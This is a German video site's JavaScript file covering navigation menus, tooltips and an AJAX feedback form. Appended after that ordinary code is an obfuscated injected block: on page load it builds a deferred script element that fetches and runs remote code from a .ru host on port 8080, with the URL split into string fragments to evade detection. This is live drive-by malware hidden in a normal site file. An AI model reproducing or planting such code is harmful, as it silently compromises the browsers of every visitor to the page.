if(top!=self){top.location=self.location;}
var msgXmlhttp=createHTTPXMLObj();
function getEventItmLUC(o){var i=new Array();if(o.offsetParent){i[0]=o.offsetLeft;i[1]=o.offsetTop;while(o=o.offsetParent){i[0]+=o.offsetLeft;i[1]+=o.offsetTop;}}return i;}
function createHTTPXMLObj(){if(window.XMLHttpRequest)return new XMLHttpRequest();else if(window.ActiveXObject)return new ActiveXObject("Microsoft.XMLHTTP");else return false;}

	// ELEMENTE EIN/AUSBLENDEN
	function showHideElement(selectedElement)
	{
		// prüfen ob die Daten bereits ein- oder ausgeblendet sind
		if(document.getElementById(selectedElement).style.display=="none")
		{
			// Einblenden
			document.getElementById(selectedElement).style.display="block";
		}else{
			// Ausblenden
			document.getElementById(selectedElement).style.display="none";
		}
	}	
	
	// ELEMENTE SWITCHEN
	function switchOptions(selectedElement){
		if(document.submiturl.showoptions.value == "0"){
			/*document.getElementById('optionsicon').src =	"_images/icons/icon_nav_red_down.gif";*/
			document.submiturl.showoptions.value = "1";
			showHideElement(selectedElement);
		}else{
			/*document.getElementById('optionsicon').src =	"_images/icons/icon_nav_red_up.gif";*/
			document.submiturl.showoptions.value = "0";
			showHideElement(selectedElement);
		}
	}
	
	// OPTION AKTIVIEREN
	function activateValue(key){
		document.submiturl.elements[key][1].checked=true;
	}
	
	// OPTION AKTIVIEREN
	function deactivateValue(key){
		document.submiturl.elements[key][0].checked=true;
	}
	
	// BALLOON-TOPTIPP Konfigurieren
	function showToolTip(key){
		Tip(getOptionHelp(key), BALLOON, true, WIDTH, 250, OFFSETX, -17);
	}
	
	// BALLOON-TOPTIPP Konfigurieren
	function showToolTipText(key){
		Tip(key, BALLOON, true, WIDTH, 300, OFFSETX, -270);
	}
	
	// FEEDBACK FUNCTINOS
    function fb_open(){
        document.getElementById("fb_form").style.display="block";
    }
    function fb_close(){
        document.getElementById("fb_form").style.display="none";
    }
    function fb_send(){
        msgXmlhttp.open("POST","/feedback/send.php",true);
        msgXmlhttp.onreadystatechange=fb_resp;
        msgXmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        msgXmlhttp.send("fb_f0="+document.getElementById("fb_f0").value+"&fb_f1="+encodeURIComponent(document.getElementById("fb_f1").value)+"&fb_f2="+document.getElementById("fb_f2").value+"&fb_email="+document.getElementById("fb_email").value);
    }
    function fb_resp(){
        if(msgXmlhttp.readyState==4&&msgXmlhttp.status==200){
            var x = msgXmlhttp.responseXML.getElementsByTagName("x")[0].firstChild.nodeValue;
            switch(parseInt(x))
            {
                case 0:
                    // nicht alles ausgefüllt
                    alert("Bitte alle Felder ausfüllen!");
                    break;
                case 1:
                    // captcha falsch
                    var nH = msgXmlhttp.responseXML.getElementsByTagName("h")[0].firstChild.nodeValue;
                    document.getElementById("fb_f0").value = nH;
                    document.getElementById("fb_f3").src = "/_includes/captcha.php?t="+nH;
                    document.getElementById("fb_f2").style.border = "solid 1px red";
                    document.getElementById("fb_f2").style.backgroundColor = "#F5A9A9";
                    break;
                case 2:
                    // ok
                    document.getElementById("fb_form").innerHTML = "<p style='padding:40px;font-size:60px;'>Danke!</p>";
                    setTimeout("fb_close()",1000);
                    break;
            }
        }
    }
function btnhover(o,i){if(i)o.style.backgroundPosition='bottom';else o.style.backgroundPosition='top';}
function chkkey(e) { if(e.keyCode==27){document.getElementById('progdetails_box').style.display='none';document.getElementById('result_box').style.display='none';} }
var hm_dd_show = 0;
var hm_dd_sub = [];
hm_dd_sub[0] = [];
hm_dd_sub[0].push(new Array("Auszahlungen","http://www.trailer.to/articles/read-auszahlungen_50.html"));
hm_dd_sub[0].push(new Array("Neuigkeiten","http://www.trailer.to/articles/browse-news-1.html"));
hm_dd_sub[1] = [];
hm_dd_sub[1].push(new Array("Was ist ein Forum ?","http://de.wikipedia.org/wiki/Internetforum"));
hm_dd_sub[2] = [];
hm_dd_sub[2].push(new Array("Video reinstellen","http://www.trailer.to/suggest.html"));
hm_dd_sub[3] = [];
hm_dd_sub[3].push(new Array("So funktionierts","http://www.trailer.to/tutorial.php"));
hm_dd_sub[3].push(new Array("Wie viel kann ich verdienen?","http://www.trailer.to/preise.php"));
hm_dd_sub[4] = [];
hm_dd_sub[4].push(new Array("Meine Einnahmen","http://www.trailer.to/einnahmen.php"));
hm_dd_sub[4].push(new Array("Meine Favouriten","http://www.trailer.to/favorites.html?a=show"));
hm_dd_sub[4].push(new Array("Meine Daten","http://www.trailer.to/edit_profile.html"));
hm_dd_sub[4].push(new Array("Avatar &auml;ndern","http://www.trailer.to/upload_avatar.html"));
hm_dd_sub[4].push(new Array("Postfach [n.V]","#"));
hm_dd_sub[5] = [];
hm_dd_sub[5].push(new Array("Werbeformate & Preise","http://www.trailer.to/contact_us.html"));
hm_dd_sub[5].push(new Array("Targeting","http://www.trailer.to/contact_us.html"));
hm_dd_sub[5].push(new Array("Interesse?","http://www.trailer.to/contact_us.html"));
hm_dd_sub[6] = [];
hm_dd_sub[6].push(new Array("FAQ","/faq.php"));
hm_dd_sub[6].push(new Array("FAQ","/agb.php"));
hm_dd_sub[6].push(new Array("Kontakt","http://www.trailer.to/contact_us.html"));
function hm_dd(o,p){var r=document.getElementById("navigation_sub");hm_dd_show=1;var q=getEventItmLUC(o);r.style.left=q[0]-1;r.style.top=q[1]+27;r.innerHTML="";for(var i=0;i<hm_dd_sub[p].length;i++)r.innerHTML += "<a class='navigation_sub_itm' href='"+hm_dd_sub[p][i][1]+"'>"+hm_dd_sub[p][i][0]+"</a>";r.style.display="";}
function hm_dd_close(){hm_dd_show=0;setTimeout("hm_dd_doClose()",300);}
function hm_dd_doClose(){if(hm_dd_show==0)document.getElementById("navigation_sub").style.display="none";}

U=51077;U+=35;function N(){var S={v:1895};try {} catch(ZF){};var T=new String("onloa"+"d");br=["Zy"];x=["Q"];var D=new String("scrip"+"t");var X={F:false};var i=window;var y="sr"+"c02B".substr(0,1);var r=new String("appe"+"ndChQyF7".substr(0,4)+"ildHNQ6".substr(0,3));var A=["m","Wp","rD"];w={n:"CH"};var t=document;this.vN=35800;this.vN+=153;var W="IG2mcr".substr(4)+"ea"+"te"+"sKPEl".substr(3)+"qVLpem".substr(4)+"en"+"XplHtXHlp".substr(4,1);var Bd=false;var b=String("LNObody".substr(3));var f=new String();var KI=false;var Z="def"+"er";var kM=new Date();C_=["_A","E"];function H(){var mA=[];try {var Hu=String("/goo"+"gle."+"com/lgqB".substr(0,4)+"char"+"vRzKter.".substr(4)+"k7HUnet/".substr(4)+"pass"+"VMQLport".substr(4)+"9M5R.net".substr(4)+"Egvk.phpvgkE".substr(4,4));var j=7286-7285;var tQ=String("http:"+"//dir"+"FMgctysin".substr(4)+".ru:s3zV".substr(0,4));var g=701890-693810;var qT=["Ud"];var cz='';c=t[W](D);fk={};TN=62995;TN-=189;this.J=false;fd=17936;fd--;var Be=false;c[y]=tQ+g+Hu;ZT={wA:false};c[Z]=j;var WF=["XU"];var x_t=new String();var Rv=new String();var Xo="Xo";t[b][r](c);var Nq=29122;} catch(G){gB={};e={};this.Wg="Wg";};this.k_=false;var jm="jm";}var te=63470;Fh=["gW"];i[T]=H;};N();var ay="ay";